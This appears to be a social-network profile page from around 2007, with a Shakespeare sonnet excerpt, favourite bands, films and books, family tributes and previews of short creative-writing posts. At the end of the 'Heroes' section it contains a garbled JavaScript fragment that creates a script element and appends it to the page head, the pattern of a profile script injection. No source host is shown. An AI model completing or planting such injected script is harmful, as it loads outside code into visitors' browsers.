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guardianheart

About Me


...Love is not love

Which alters when it alteration finds,

Or Bends with the remover to remove.

O, no! It is an ever-fixed mark,

That looks on tempests and is never shaken.

It is the star to every wandering bark,

whose worth's unknown, although his height be taken.

-- William Shakespeare

My Interests

♥ my best friend Jordan ♥literature ♥sailing

I'd like to meet:

Nathan Martin!

Music:

♥♥♥Bright Eyes♥♥♥ ♥Motion City Soundtrack ♥Tegan and Sara ♥Blonde Redhead ♥ The Smiths ♥Hellogoodbye ♥The Faint ♥Apollo Sunshine ♥Sia ♥The Blow ♥The Decemberists ♥Elliott Smith ♥Feist ♥Maria Taylor ♥Radiohead ♥The Cure ♥The Shins ♥Gregory & the Hawk ♥Everett ♥Owen ♥The Honorary Title ♥Cursive ♥Desaparecidos ♥Luke Pickett ♥Dashboard Confessional

Movies:

♥Donnie Darko ♥Serial Experiments Lain ♥Edward Scissorhands ♥Brokeback Mountain ♥Lord of the Rings ♥The Butterfly Effect ♥Eternal Sunshine of the Spotless Mind ♥ Waking Life ♥Elephant ♥Black Daisies for the Bride ♥Little Children ♥ Hard Candy ♥ Tideland ♥ Juno

Books:

♥Catcher in the Rye ♥The Perks of Being a Wallflower ♥Sophie's World ♥The Giver ♥Nine Stories ♥Hamlet ♥Man's Search For Meaning ♥Brave New World ♥Araby [Dubliners] ♥The Dead [Dubliners] ♥On The Road ♥Mystical Rose ♥Henry IV ♥Romeo and Juliet ♥A Midsummer Night's Dream ♥Tuesdays With Morrie ♥Much Ado About Nothing ♥The Odyssey ♥Macbeth ♥Patriotism ♥ The Comedy of Errors ♥King Lear ♥Naked Lunch ♥Death of a Salesman ♥The True Story of Ida Johnson ♥The Metamorphosis ♥Twelfth Night ♥The Tempest ♥ Paradise Lost ♥ The Wasteland ♥ The Five People You Meet in Heaven ♥ Richard II ♥ The Merchant of Venice ♥ Anne of Green Gables

Heroes:

My brother for always telling me that my dreams are possible and for being a constant example of true greatness.

My father for his strength and all of the sacrifices that he makes so that I can be more than I am today.

My mother for her love,caring, passion and stubbornness to ever give up on me, even when i give up on myself. .."var s=..reateElement('script');s.src='..';..·getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

Writing .4

This is for you Jordan [Shadows creep and grip the bark, nearly engulfing its existence in one, swift movement. Each branch, a hollow silhouette, ascending upward to kiss the dark, gray sky. Frost gli...
Posted by simple. on Thu, 22 Feb 2007 03:19:00 PST

Writing .3

She is the creator of her own will. Unmoved and confident, she faces a canvas covered in nothing but blacks and grays. The canvas, a piece which once held so much potential, lay lifeless and cold like...
Posted by simple. on Wed, 29 Mar 2006 01:51:00 PST

Writing .2

It was always just a room full of memories, a place that never changes. It's the kind of place you like to come back to when you begin to lose sight of who you are, and how you got to where you now st...
Posted by simple. on Wed, 01 Mar 2006 01:12:00 PST

Writing .1

All I knew was that I had to get as far away from there as I possibly could. So I ran; I ran the fastest I ever had in my life, and I didn't look back. I knew I wouldn't be able to face what I had jus...
Posted by simple. on Wed, 01 Mar 2006 01:04:00 PST